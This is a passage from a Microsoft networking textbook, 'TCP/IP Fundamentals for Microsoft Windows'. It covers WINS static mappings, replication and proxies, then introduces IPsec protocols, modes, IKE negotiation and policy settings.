WINS server database, you ensure that a WINS client can resolve NetBIOS names of non-WINS clients
without having to maintain a local or central Lmhosts file.
To configure a static mapping, do the following:
1. Open the WINS snap-in, open a server name in the tree, right-click Active Registrations, and then
click New Static Mapping.
2. In the New Static Mapping dialog box, type the computer name of the non-WINS client in Computer
name.
3. In NetBIOS scope, type the NetBIOS scope ID for the computer name if needed. The use of a
NetBIOS scope ID is not recommended. For more information about NetBIOS scope IDs, see
Chapter 11, "NetBIOS over TCP/IP."
4. In Type, click the entry type to indicate whether the name is a unique name or a kind of group with a
special name, as described in Table 12-2.
5. In IP address, type the IPv4 address of the non-WINS client.
6. Click OK.
The mapping is immediately added as an entry in the WINS database.
Type option
Description
Unique
A unique name maps to a single IPv4 address.
Group
Also referred to as a normal group. When adding an
entry to a group by using the WINS snap-in, you must
type the computer name and IPv4 address. However,
the WINS database does not store the IPv4 addresses
of individual members of a group. Because the
member addresses are not stored, you can add as
many members as you want to a group. Clients send
broadcast name packets to communicate with group
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 351
members.
Domain Name
A NetBIOS name-to-IPv4 address mapping that has
0x1C as the 16th byte of the NetBIOS name. A
domain name is a NetBIOS Internet group that stores
up to 25 addresses for group members. For
registrations after the 25th address, WINS overwrites
a replicated address or, if none exist, WINS overwrites
the oldest registration.
Internet Group
Internet groups are user-defined groups that enable
you to group resources, such as printers, for easy
reference. An Internet group can store up to 25
addresses for members. A group member that was
added by a WINS client, however, does not replace a
group member added by using the WINS snap-in or by
importing an Lmhosts file.
Multihomed
A unique name that can have more than one address.
This type of entry is used for a computer with multiple
network adapters or assigned IP addresses
(multihomed computers). You can register up to 25
addresses as multihomed. For registrations after the
25th address, WINS overwrites a replicated address
or, if none exist, WINS overwrites the oldest
registration.
Table 12-2 Static WINS mapping type options
Figure 12-4 shows an example of a static WINS mapping.
Figure 12-4 An example of a WINS static mapping
Database Replication Between WINS Servers
You can configure all WINS servers on a network to fully replicate their database entries with other
WINS servers. This functionality ensures that a name registered with one WINS server is eventually
replicated to all other WINS servers and allows any WINS client, regardless of which WINS server it is
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 352
configured with, to resolve any valid NetBIOS name on the network. Database replication can occur
whenever the WINS database changes, including when a NetBIOS name is released.
Replicating databases allows a WINS server to resolve NetBIOS names that have been registered with
other WINS servers. For example, if Host A registered with WINS Server 1 and Host B registered with
WINS Server 2, NetBIOS applications on Host A and Host B cannot communicate unless WINS Server
1 and WINS Server 2 replicate their databases to each other.
To replicate database entries between a pair of WINS servers, you must configure each WINS server
as a pull partner, a push partner, or both with the other WINS server.
A push partner is a WINS server that sends a message to its pull partners, notifying them that it has
new WINS database entries. When a WINS server’s pull partner responds to the message with a
replication request, the WINS server sends (pushes) copies of its new WINS database entries (also
known as replicas) to the requesting pull partner.
A pull partner is a WINS server that pulls WINS database entries from its push partners by requesting
any new WINS database entries that the push partners have. The pull partner requests the new WINS
database entries that have a higher version number than the last entry the pull partner received during
the most recent replication.
Figure 12-5 shows an example replication configuration between WINS servers in Sydney and Seattle
and the resulting information flow.
Figure 12-5 Example push-and-pull partner configuration and resulting information flow
Although you configure push and pull partners separately, the typical configuration is to have two WINS
servers exchange information in both directions. In this case, both WINS servers will be push and pull
partners with each other.
WINS servers replicate only any new entries in their databases. Servers do not replicate their entire
WINS databases each time replication occurs.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 353
Push and Pull Operations
The initiation of information being exchanged between two WINS servers can happen through either a
push operation or a pull operation. In a push operation, a WINS server notifies its pull partners that it
has new entries that it wants to send. The WINS server sends out a directed “Have new entries”
notification to all pull partners. The pull partners respond with a “Send new entries” notification. The
originating WINS server then sends the new entries.
To initiate a push operation, the WINS Server service relies on a push trigger specified during the
configuration of WINS replication. A push trigger is based on a threshold of a certain number of entries
that have changed, regardless of the time it takes to reach the threshold.
Figure 12-6 shows the push operation.
Figure 12-6 The push operation
Using the example in Figure 12-6, the Sydney WINS server has been configured with a push trigger of
1000 entries. When 1000 entries in the Sydney WINS database have changed, it initiates a push
operation with the Seattle WINS server.
In a pull operation, pull partners send a “Send new entries” notification to their push partners. The push
partners then respond with all the new entries. To initiate a pull operation, the WINS Server service
relies on a pull trigger specified during the configuration of WINS replication. A pull trigger is based on
scheduled times, regardless of the number of entries to be sent.
Figure 12-7 shows the pull operation.
Figure 12-7 The pull operation
In the example in Figure 12-7, the Seattle WINS server has been configured with a pull trigger of every
day at 12:00 AM. At 12:00 AM each day, the Seattle WINS server initiates a pull operation with the
Sydney WINS server.
For both push and pull operations, the data flows from the push partner to the pull partner. The push
partner always pushes the actual replicated entries to the pull partner. The main difference between
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 354
push and pull operations is the nature of the trigger (number of changed entries or a scheduled time)
and which replication partner sends the first notification.
Configuring a WINS Server as a Push or Pull Partner
Determining whether to configure a WINS server as a pull partner or a push partner depends on the
network environment. Keep these rules in mind when you configure WINS server replication:
Configure pull replication between sites, especially across slow links, because you can configure pull
replication to occur at specific intervals.
Configure push replication when servers are connected by fast links, because push replication occurs
when the configured number of updated WINS database entries is reached.
Figure 12-8 shows an example of WINS server replication.
Figure 12-8 Example of a WINS server replication configuration
In this example:
All WINS servers at each site use push replication to push their new database entries to a single server
at their site.
The servers that receive the push replication use pull replication between each other because the
network link between Sydney and Seattle is relatively slow. Replication should occur when the link is
the least busy, such as late at night.
Configuring Database Replication
To add a replication partner for a WINS server and to configure replication options, do the following:
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 355
1. Open the WINS snap-in, and then open the appropriate server in the tree.
2. Right-click Replication Partners, and then click New Replication Partner.
3. In New Replication Partner, type the name or IPv4 address of the WINS server to add as a
replication partner.
4. In the details pane, double-click the newly added server.
5. In the ServerName Properties dialog box, click the Advanced tab.
6. Configure the replication partner type and the pull and push replication settings as needed, and then
click OK.
Figure 12-9 shows the Advanced tab for the properties of a WINS replication partner.
Figure 12-9 The Advanced tab for the properties of a WINS replication partner
Replication can be configured to occur at the following times:
During WINS Server service start-up.
When a replication partner is configured, the WINS Server service, by default, automatically
performs pull replication each time it is started. You can also configure the service to perform push
replication each time it is started.
At a configured time or interval, such as every five hours (pull trigger).
When a WINS server reaches a configured threshold for the number of registrations and changes to the
WINS database (push trigger).
When the server reaches the threshold, it notifies all of its pull partners, which request the new
entries.
When you manually initiate replication using the WINS snap-in.
To initiate replication with all replication partners, right-click the Replication Partners node of the
appropriate server in the WINS snap-in, and click Replicate now. To initiate replication with a
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 356
specific replication partner, right-click the partner in the details pane and click either Start push
replication or Start pull replication.
When you manually initiate replication using the netsh wins server init replicate command.
WINS Automatic Replication Partners
If your IPv4 network supports multicast forwarding and routing, you can configure the WINS Server
service to automatically find other WINS servers on the network by sending WINS autoconfiguration
messages to the multicast IPv4 address 224.0.1.24. When enabled, this multicasting occurs by default
every 40 minutes. Any WINS servers found on the network are automatically configured as push and
pull replication partners, with pull replication set to occur every two hours. If your IPv4 network does not
support multicast forwarding and routing, the WINS server will find only other WINS servers on its local
subnet. For more information about IP multicast forwarding and routing, see Appendix A, "IP Multicast."
Automatic replication is disabled by default. To enable this feature, select the Enable Automatic
Partner Configuration check box on the Advanced tab for the properties of the Replication Partners
node in the WINS snap-in. On the Advanced tab, you can also configure the interval to check for new
partners and the TTL for the multicast packets sent, which determines how far the multicast packets
can travel before being discarded by routers.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 357
The WINS Proxy
A WINS proxy is a WINS client computer that is configured to act on behalf of other NetBT computers
that are not WINS clients. WINS proxies help resolve NetBIOS name queries from non-WINS clients.
By default, most non-WINS clients send broadcasts to register their NetBIOS names on the network
and to resolve NetBIOS name queries. A WINS proxy listens to broadcast NetBIOS name queries sent
on the subnet, queries a WINS server, and replies to the NetBIOS name query.
WINS proxies are useful or necessary only on subnets that contain NetBIOS broadcast-only (or B-
node) clients. For most Windows-based networks, WINS-capable clients are common and WINS
proxies are typically not needed.
You can use WINS proxies in the following ways:
When a non-WINS client registers a unique name, the WINS proxy checks the name against its
configured WINS server. If the unique name exists in the WINS server database, the WINS proxy sends
a negative Name Registration Response message back to the non-WINS client that is attempting to
register the name.
When a non-WINS client releases a NetBIOS name, the WINS proxy deletes the name from its
NetBIOS name cache.
When a non-WINS client sends a broadcast name query, the WINS proxy attempts to resolve the name
either by using information contained in its NetBIOS name cache or by sending its own NetBIOS Name
Query Request message to its WINS server.
How WINS Proxies Resolve Names
Figure 12-10 shows how a WINS proxy resolves a NetBIOS name requested by a non-WINS client.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 358
Figure 12-10 How a WINS proxy resolves a NetBIOS name for a non-WINS client
The WINS proxy (Host A) uses the following steps to resolve a NetBIOS name for the non-WINS
computer (Host B):
1. Host B broadcasts a NetBIOS Name Query Request message on the local subnet.
2. Host A receives the broadcast message and checks its NetBIOS name cache for an entry that
matches the NetBIOS name specified in the NetBIOS Name Query Request message.
3. If Host A has a matching NetBIOS name-to-IPv4 address mapping in its NetBIOS name cache, Host
A returns the IPv4 address to Host B using a positive NetBIOS Name Query Response message. If
not, Host A sends a unicast NetBIOS Name Query Request message to its WINS server for the
name that Host B requested.
4. If the WINS server can resolve the NetBIOS name, it sends a positive NetBIOS Name Query
Response message back to Host A.
5. Host A receives the positive NetBIOS Name Query Response message, adds this mapping to its
NetBIOS name cache, and then sends a unicast positive NetBIOS Name Query Response message
to Host B.
If the WINS server sends a negative NetBIOS Name Query Response message to Host A, Host A
sends no messages to Host B.
WINS Proxies and Name Registration
When a non-WINS client broadcasts a NetBIOS Name Registration Request message for a unique
name, the WINS proxy sends a NetBIOS Name Query Request message to its configured WINS server
to verify that the name has not already been registered with WINS. If the WINS server sends a positive
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 359
NetBIOS Name Query Response message to the WINS proxy, the proxy sends a negative NetBIOS
Name Registration Response message to the non-WINS client. If the WINS server sends a negative
NetBIOS Name Query Response message to the WINS proxy, the proxy does not respond to the non-
WINS client.
Configuration of a WINS Proxy
To enable a computer running Windows as a WINS proxy, set the
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters\EnableProxy registry
value to 1 (REG_DWORD), and then restart the TCP/IP NetBIOS Helper service.
Note Incorrectly editing the registry may severely damage your system. Before making changes to the
registry, you should back up any valued data on the computer.
To provide fault tolerance if a WINS proxy becomes unavailable, you should use two WINS proxies for
each subnet that contains non-WINS clients.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 360
Chapter Summary
The chapter includes the following pieces of key information:
WINS is the Windows implementation of a NetBIOS name server, which provides a database for
registering and querying dynamic mappings of NetBIOS names to IPv4 addresses used on your
network.
When a WINS client starts, it registers its NetBIOS names with its configured WINS server. A WINS
client renews the registration of its NetBIOS names on an ongoing basis.
WINS clients send their NetBIOS name queries to their configured WINS servers for NetBIOS name
resolution.
When a NetBIOS application on a WINS client is shut down, the WINS client releases the names
registered with its configured WINS server.
You can configure the WINS client for Windows by DHCP, through Network Connections, using the
Netsh tool, and during the establishment of a PPP connection.
The WINS Server service for
Windows Server 2008 and Windows Server 2003 supports static mappings for non-WINS clients and
WINS database replication with other WINS servers.
A pull partner is a WINS server that pulls or requests replication of updated WINS database entries
from other WINS servers (those configured to use it as a push partner) at a configured interval. Pull
partners request entries with a higher version ID than that of the last entry received from its configured
partner.
A push partner is a WINS server that pushes or notifies other WINS servers (those configured to use it
as a pull partner) of the need to replicate their database entries when a specified number of entries
have changed.
A WINS proxy is a WINS client computer configured to act on behalf of non-WINS clients. WINS
proxies help detect duplicate names and resolve NetBIOS name queries for NetBT computers.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 361
Chapter Glossary
DNS – See Domain Name System (DNS).
DNS client resolver cache – A RAM-based table that contains both the entries in the Hosts file and the
results of recent DNS name queries.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. DNS enables users to locate computers
and services by friendly names and to discover other information stored in the database.
Host name – The DNS name of a host or interface on a network. For one computer to find another, the
name of the computer to locate must either appear in the Hosts file on the computer that is looking or
be known by a DNS server. For most computers running Windows, the host name and the computer
name are the same.
Lmhosts file – A local text file that maps NetBIOS names to IP addresses for hosts that are located on
remote subnets. For computers running Windows, this file is stored in the
systemroot\System32\Drivers\Etc folder.
NBNS – See NetBIOS name server (NBNS).
NetBIOS name - A 16-byte name of a process using NetBIOS.
NetBIOS name cache – A dynamically maintained table on a NetBIOS-enabled host. The NetBIOS
name cache stores recently resolved NetBIOS names and their associated IPv4 addresses.
NetBIOS name resolution – The process of resolving a NetBIOS name to an IPv4 address.
NetBIOS name server (NBNS) – A server that stores mappings of NetBIOS names to IPv4 addresses
and that resolves NetBIOS names for NetBIOS-enabled hosts. The WINS Server service is the
Microsoft implementation of a NetBIOS name server.
NetBIOS node type – A designation of the specific way that NetBIOS nodes resolve NetBIOS names.
Network Basic Input/Output System (NetBIOS) – A standard Session layer API for user applications
and a protocol for session management and data transport.
pull partner – A WINS component that requests replication of updated WINS database entries from its
push partner.
push partner – A WINS component that notifies its pull partner when updated WINS database entries
are available for replication.
static mapping – A manually created entry in the database of a WINS server so that WINS clients can
resolve the NetBIOS names of non-WINS clients.
Time-to-Live – The amount of time that a NetBIOS name is stored on a WINS server. The TTL is
configured on the WINS server.
TTL – See Time-to-Live.
Windows Internet Name Service (WINS) – The Microsoft implementation of a NetBIOS name server.
WINS – See Windows Internet Name Service (WINS).
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 362
WINS client – A component of the TCP/IP protocol for Windows that supports NetBIOS name
operations using a WINS server.
WINS proxy – A WINS client computer configured to act on behalf of non-WINS clients. WINS proxies
help detect duplicate NetBIOS names and resolve NetBIOS name queries for NetBT computers.
WINS server – A computer running the WINS Server service.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 363
Chapter 13 – Internet Protocol Security and Packet Filtering
Abstract
This chapter describes the support for Internet Protocol security (IPsec) and IP packet filtering in Microsoft Windows
operating systems. IPsec can provide cryptographic protection for IP packet payloads. Packet filtering can specify which
types of packets are received or dropped. A network administrator must understand IPsec and packet filtering and its
effect on IP network traffic to configure network security and troubleshoot connectivity problems.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 364
Chapter Objectives
After completing this chapter, you will be able to:
Describe the roles that IPsec and IP packet filtering play in helping to protect network nodes.
Define IPsec and its uses to block, permit, or help protect IP traffic.
Define packet filtering and its uses to block or permit IP traffic.
List and describe the security properties of IPsec-protected traffic.
Describe the functions of the Authentication Header, Encapsulating Security Payload, and Internet Key
Exchange IPsec protocols.
Distinguish between transport mode and tunnel mode.
Describe the purposes of main mode and quick mode IPsec negotiations.
Define an IPsec policy in terms of its general settings and rules.
List and describe the configuration elements of an IPsec rule.
Describe Windows Firewall and how you can use it to help protect against malicious users and
programs.
Describe Internet Connection Firewall.
Describe TCP/IP filtering and its configuration.
Describe what Basic Firewall does and how Routing and Remote Access can filter IPv4 packets.
Describe how the basic IPv6 firewall, the IPv6 Internet Connection Firewall, and Windows Firewall filter
IPv6 packets.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 365
IPsec and Packet Filtering Overview
The Internet was originally designed for wide-open communications between connected computers.
However, today's Internet is a hostile networking environment. Computers on the Internet must protect
themselves from malicious users and programs that attempt to disable, control, or improperly access
the resources of the computer. Private intranets can also contain malicious users and programs. On
either the Internet or a private intranet, sensitive data should be cryptographically protected before
being sent to its destination. In some cases, laws require you to cryptographically protect data sent over
the network.
To help protect traffic or prevent unwanted traffic, Windows Vista, Windows XP, Windows Server 2008,
and Windows Server 2003 include the following technologies:
IPsec A framework of open standards for helping ensure private, protected communications over
Internet Protocol (IP) networks through the use of cryptographic security services. The Windows
implementations of IPsec are based on standards developed by the IPsec working group of the Internet
Engineering Task Force (IETF).
Packet filtering The ability to configure interfaces to accept or discard incoming traffic based on a
variety of criteria such as Transmission Control Protocol (TCP) and User Datagram Protocol (UDP)
ports, source and destination IP addresses, and whether the incoming traffic was sent because the
receiving computer requested it.
This chapter describes these two technologies and how Windows Vista, Windows XP, Windows Server
2008, and Windows Server 2003 support them.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 366
IPsec
The original standards for the TCP/IP protocol suite were not designed to protect IP packets. By default,
IP packets are easy to interpret, modify, replay, and forge. Without protection for IP packet payloads,
both public and private networks are susceptible to unauthorized monitoring and access. Although
internal attacks might result from minimal or nonexistent intranet security, risks from outside a private
network stem from connections to both the Internet and extranets. Requiring passwords to access
network resources, such as permissions on a shared folder, does not protect data transmitted across a
network.
IPsec is the long-term direction for standards-based, protected, IP-based networking. It provides a key
line of defense against private network and Internet attacks, balancing ease of deployment with strong
security. IPsec has two goals:
1. To protect IP packets
2. To defend against network attacks
Both of these goals are met through the use of cryptography-based protection services, security
protocols, and dynamic key management. This foundation provides the strength and flexibility required
to help protect communications between private network computers, domains, sites, remote sites,
extranets, and dial-up clients. You can further use IPsec to block receipt or transmission of specific
traffic types.
IPsec is based on an end-to-end security model. The only computers that must be aware of IPsec are
the sending and receiving computers. Each handles security at its respective end and assumes that the
medium over which the communication takes place is not protected. Computers that only route data
from source to destination are not required to support IPsec, but they are required to forward IPsec
traffic.
Security Properties of IPsec-protected Communications
IPsec provides the following security properties to help protect communications:
Data integrity Helps protect data from unauthorized modification in transit. Data integrity helps ensure
that the data received is exactly the same as the data sent. Hash functions authenticate each packet
with a cryptographic checksum using a shared, secret key. Only the sender and receiver have the key
that is used to calculate the checksum. If the packet contents have changed, the cryptographic
checksum verification fails and the receiver discards the packet.
Data origin authentication Helps verify that the data could have been sent only from a computer that
has the shared, secret key. The sender includes a message authentication code with a calculation that
includes the shared, secret key. The receiver performs the same calculation and discards the message
if the receiver’s calculation does not match the message authentication code that is included in the
message. The message authentication code is the same as the cryptographic checksum that is used
for data integrity.
Confidentiality (encryption) Helps ensure that the data is disclosed only to intended recipients.
Confidentiality is achieved by encrypting the data before transmission. Encryption ensures that the data
cannot be interpreted during its transit across the network, even if a malicious user intercepts and
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 367
captures the packet. Only the communicating computers with the shared, secret key can easily decrypt
the packet contents and determine the original data.
Anti-replay Helps ensure the uniqueness of each IP packet by placing a sequence number on each
packet. Anti-replay is also called replay prevention. Anti-replay helps ensure that a malicious user
cannot capture data and reuse or replay it, possibly months later, to establish a session or to gain
access to information or other resources.
IPsec Protocols
IPsec provides its security services by wrapping the payload of an IP packet with an additional header
or trailer that contains the information to provide data origin authentication, data integrity, data
confidentiality, and replay protection. IPsec headers consist of the following:
Authentication header (AH)
Provides data authentication, data integrity, and replay protection for an IP packet.
Encapsulating Security Payload (ESP) header and trailer
Provides data authentication, data integrity, replay protection, and data confidentiality for an IP
packet payload.
The result of applying the AH or the ESP header and trailer to an IP packet transforms the packet into a
protected packet.
To negotiate the set of security parameters to help protect the traffic, such as whether to use AH or
ESP and what types of encryption and authentication algorithms to use, IPsec peers use the Internet
Key Exchange (IKE) protocol.
IPsec Modes
IPsec supports two modes—transport mode and tunnel mode—that describe how the original IP packet
is transformed into a protected packet.
Transport Mode
Transport mode protects an IP payload through an AH or an ESP header. Typical IP payloads are TCP
segments (which contain a TCP header and TCP segment data), UDP messages (which contain a UDP
header and UDP message data), and Internet Control Message Protocol (ICMP) messages (which
contain an ICMP header and ICMP message data).
AH in transport mode provides data origin authentication, data integrity, and anti-replay for the entire
packet (both the IP header and the data payload carried in the packet, except for fields in the IP header
that must change in transit). This type of protection does not provide confidentiality, which means that it
does not encrypt the data. The data can be read but not easily modified or impersonated. AH uses
keyed hash algorithms for packet integrity.
For example, Computer A sends data to Computer B. The IP header, the AH header, and the IP
payload are protected with data integrity and data origin authentication. Computer B can determine that
Computer A really sent the packet and that the packet was not modified in transit.
AH is identified in the IP header with an IP protocol ID of 51. You can use AH alone or combine it with
ESP.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 368
The AH header contains a Security Parameters Index (SPI) field that IPsec uses in combination with
the destination address and the security protocol (AH or ESP) to identify the correct security association
(SA) for the communication. IPsec at the receiver uses the SPI value to determine with which SA the
packet is identified. To prevent replay attacks, the AH header also contains a Sequence Number field.
An Authentication Data field in the AH header contains the integrity check value (ICV), also known as
the message authentication code, which is used to verify both data integrity and data origin
authentication. The receiver calculates the ICV value and checks it against this value (which is
calculated by the sender) to verify integrity. The ICV is calculated over the IP header, the AH header,
and the IP payload.
AH authenticates the entire packet for data integrity and data origin authentication, with the exception of
some fields in the IP header that might change in transit (for example, the Time to Live and Checksum
fields). Figure 13-1 shows the original IP packet and how it is protected with AH in transport mode.
Figure 13-1 A packet protected with AH in transport mode
ESP in transport mode provides confidentiality (in addition to data origin authentication, data integrity,
and anti-replay) for an IP packet payload. ESP in transport mode does not authenticate the entire
packet. Only the IP payload (not the IP header) is protected. You can use ESP alone or combine it with
AH. For example, Computer A sends data to Computer B. The IP payload is encrypted and
authenticated. Upon receipt, IPsec verifies data integrity and data origin authentication and then
decrypts the payload.
ESP is identified in the IP header with the IP protocol ID of 50 and consists of an ESP header that is
placed before the IP payload, and an ESP and authentication data trailer that is placed after the IP
payload.
Like the AH header, the ESP header contains SPI and Sequence Number fields. The Authentication
Data field in the ESP trailer is used for message authentication and integrity for the ESP header, the
payload data, and the ESP trailer.
Figure 13-2 shows the original IP packet and how it is protected with ESP. The authenticated portion of
the packet indicates where the packet has been protected for data integrity and data origin
authentication. The encrypted portion of the packet indicates what information is confidential.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 369
Figure 13-2 A packet protected with ESP in transport mode
The IP header is not authenticated and is not protected from modification. To provide data integrity and
data origin authentication for the IP header, use ESP and AH.
Tunnel Mode
Tunnel mode helps protect an entire IP packet by treating it as an AH or ESP payload. With tunnel
mode, an IP packet is encapsulated with an AH or an ESP header and an additional IP header. The IP
addresses of the outer IP header are the tunnel endpoints, and the IP addresses of the encapsulated IP
header are the original source and final destination addresses.
As Figure 13-3 shows, AH tunnel mode encapsulates an IP packet with an AH and an IP header and
authenticates the entire packet for data integrity and data origin authentication.
Figure 13-3 A packet protected with AH in tunnel mode
As Figure 13-4 shows, ESP tunnel mode encapsulates an IP packet with both an ESP and IP header
and an ESP authentication trailer.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 370
Figure 13-4 A packet protected with ESP in tunnel mode
Because a new header for tunneling is added to the packet, everything that comes after the ESP
header is authenticated (except for the ESP Authentication Data field) because it is now encapsulated
in the tunneled packet. The original header is placed after the ESP header. The entire packet is
appended with an ESP trailer before encryption occurs. Everything that follows the ESP header is
encrypted, including the original header that is now part of the data portion of the packet but not
including the ESP authentication data field.
The entire ESP payload is then encapsulated within a new IP header, which is not encrypted. The
information in the new IP header is used only to route the packet to the tunnel endpoint.
If the packet is being sent across a public network, the packet is routed to the IP address of the tunnel
server for the receiving intranet. In most cases, the packet is destined for an intranet computer. The
tunnel server decrypts the packet, discards the ESP header, and uses the original IP header to route
the packet to the destination intranet computer.
In tunnel mode, you can combine ESP with AH, providing both confidentiality for the tunneled IP packet
and data integrity and data origin authentication for the entire packet.
Negotiation Phases
Before two computers can exchange protected data, they must establish a contract. In this contract,
called a security association (SA), both computers agree on how to protect information. An SA is the
combination of a negotiated encryption key, security protocol, and SPI, which together define the
security used to protect the communication from sender to receiver. The SPI is a unique, identifying
value in the SA that is used to distinguish among multiple SAs that exist at the receiving computer.
For example, multiple SAs might exist if a computer using IPsec protection is communicating with
multiple computers at the same time. This situation occurs frequently when the computer is a file server
or a remote access server that serves multiple clients. In these situations, the receiving computer uses
the SPI to determine which SA the computer should use to process the incoming packets.
To build this contract between the two computers, the IETF has defined IKE as the standard method of
SA and key determination. IKE does the following:
Centralizes SA management, reducing connection time.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 371
Generates and manages shared, secret keys that help protect the information.
This process not only helps protect communication between computers, it also helps protect remote
computers that request protected access to a corporate network. In addition, this process works
whenever a security gateway performs the negotiation for the final destination computer.
Phase I or Main Mode Negotiation
To help ensure successful and protected communication, IKE performs a two-phase operation. IKE
helps ensure confidentiality and authentication during each phase by using encryption and
authentication algorithms that the two computers agree on during security negotiations. With the duties
split between two phases, keys can be created rapidly.
During the first phase, the two computers establish a protected, authenticated channel. This phase is
called the phase I SA or main mode SA. IKE automatically protects the identities of the two computers
during this exchange.
A main mode negotiation consists of the following steps:
1. Policy negotiation
The following four mandatory parameters are negotiated as part of the main mode SA:
The encryption algorithm
The hash algorithm
The authentication method
The Diffie-Hellman (DH) group to be used for the base keying material
Different versions of Windows support different sets of encryption algorithms, hash algorithms,
authentication methods, and DH groups. For more information, see Windows Help and Support.
2. DH exchange
At no time do the two computers exchange actual keys. The computers exchange only the base
information that the DH key determination algorithm requires to generate the shared, secret key.
After this exchange, the IKE service on each computer generates the master key that the computers
use for subsequent communications.
3. Authentication
The computers attempt to authenticate the DH key exchange. A DH key exchange without
authentication is vulnerable to a man-in-the-middle attack. A man-in-the-middle attack occurs when a
computer masquerades as the endpoint between two communicating peers. Without successful
authentication, communication cannot proceed. The communicating peers use the master key, in
conjunction with the negotiation algorithms and methods, to authenticate identities. The
communicating peers hash and encrypt the entire identity payload (including the identity type, port,
and protocol) using the keys generated from the DH exchange in the second step. The identity
payload, regardless of which authentication method is used, is protected from both modification and
interpretation.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 372
The initiator offers a potential SA to the receiver. The responder cannot modify the offer. Should the
offer be modified, the initiator rejects the responder's message. The responder sends either a reply
accepting the offer or a reply with alternatives.
Phase II or Quick Mode Negotiation
In this phase, the IPsec peers negotiate the SAs to protect the actual data sent between them. A quick
mode negotiation consists of the following steps:
1. Policy negotiation occurs.
The IPsec peers exchange the following requirements to protect the data transfer:
The IPsec protocol (AH or ESP)
The hash algorithm
The algorithm for encryption, if requested
The computers reach a common agreement and establish two SAs. One SA is for inbound
communication, and the other is for outbound communication.
2. Session key material is refreshed or exchanged.
IKE refreshes the keying material, and new shared keys are generated for data integrity, data origin
authentication, and encryption (if negotiated). If rekeying is required, either a second DH exchange
(as described in main mode negotiation) occurs, or a refresh of the original DH key is used.
The main mode SA helps protect the quick mode negotiation of security settings and keying material
(for the purpose of securing data). The first phase helped protect the computers’ identities, and the
second phase helps protect the keying material by refreshing it before sending data. IKE can
accommodate a key exchange payload for an additional DH exchange if a rekey is necessary.
Otherwise, IKE refreshes the keying material from the DH exchange completed in main mode.
Windows Vista and Windows Server 2008 also support extended mode negotiation with Authenticated
IP (AuthIP), during which IPsec peers can perform a second round of authentication. For more
information, see The Authenticated Internet Protocol.
There are two ways to configure IPsec settings through the Windows graphical user interface:
Connection security rules through the Windows Firewall with Advanced Security snap-in (for Windows
Vista and Windows Server 2008)
IPsec policy settings through the IPsec Policy Management snap-in
Connection Security Rules
Connection security rules in the Windows Firewall with Advanced Security snap-in specify what traffic to
protect and how to protect it, and provide a highly simplified way to configure IPsec settings.
To configure a connection security rule, do the following:
1. From the console tree of the Windows Firewall with Advanced Security snap-in, right-click
Connection Security Rules, and then click New Rule.
2. Follow the pages of the New Connection Security Rule wizard to configure a rule for a common traffic
protection scenario or a custom rule.
Chapter 13 – Internet Protocol Security and Packet Filtering
TCP/IP Fundamentals for Microsoft Windows
Page: 373
IPsec Policy Settings
An IPsec policy configured through the IPsec Policy Management snap-in consists of the following:
General IPsec policy settings
Settings that apply regardless of which rules are configured. These settings determine the name of
the policy, its description for administrative purposes, main mode key exchange settings, and main
mode key exchange methods.
Rules
One or more IPsec rules that determine which types of traffic IPsec must examine, how traffic is
treated (permitted, blocked, or protected), how to authenticate an IPsec peer, and other settings.
IPsec policies can be applied to local computers, domains, sites, or organizational units on any Group
Policy object in Active Directory. Your IPsec policies should be based on your organization's written
guidelines for protected traffic. Policies can store multiple rules, so one policy can govern multiple types
of traffic.
IPsec policies can be stored in two locations:
Active Directory
IPsec policies that are stored in Active Directory are part of Computer Configuration Group Policy
settings and are downloaded to an Active Directory domain member when it joins the domain and
on an ongoing basis. The Active Directory-based policy settings are locally cached. If the computer
has downloaded such policy settings but is not connected to a network that contains a trusted
Windows Server 2008 or Windows Server 2003 domain controller, IPsec uses the locally cached
Active Directory IPsec policy settings.
Local
Local IPsec policies are defined in the local computer's Computer Configuration Group Policy for
stand-alone computers and computers that are not always members of a trusted Windows
Server 2008 or Windows Server 2003 domain.
Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003 include default policies
that you can use as examples for your own custom policies.
General IPsec Policy Settings
You configure the general settings for an IPsec policy in the Group Policy snap-in (under Computer
Configuration-Windows Settings-Security Settings-IP Security Policies) by right-clicking an IPsec policy,
clicking Properties, clicking the General tab, and configuring the following:
Name The name for the policy.
Description Optional text that describes the purpose of the IPsec policy. You should type a description
to summarize the settings and rules for the policy.
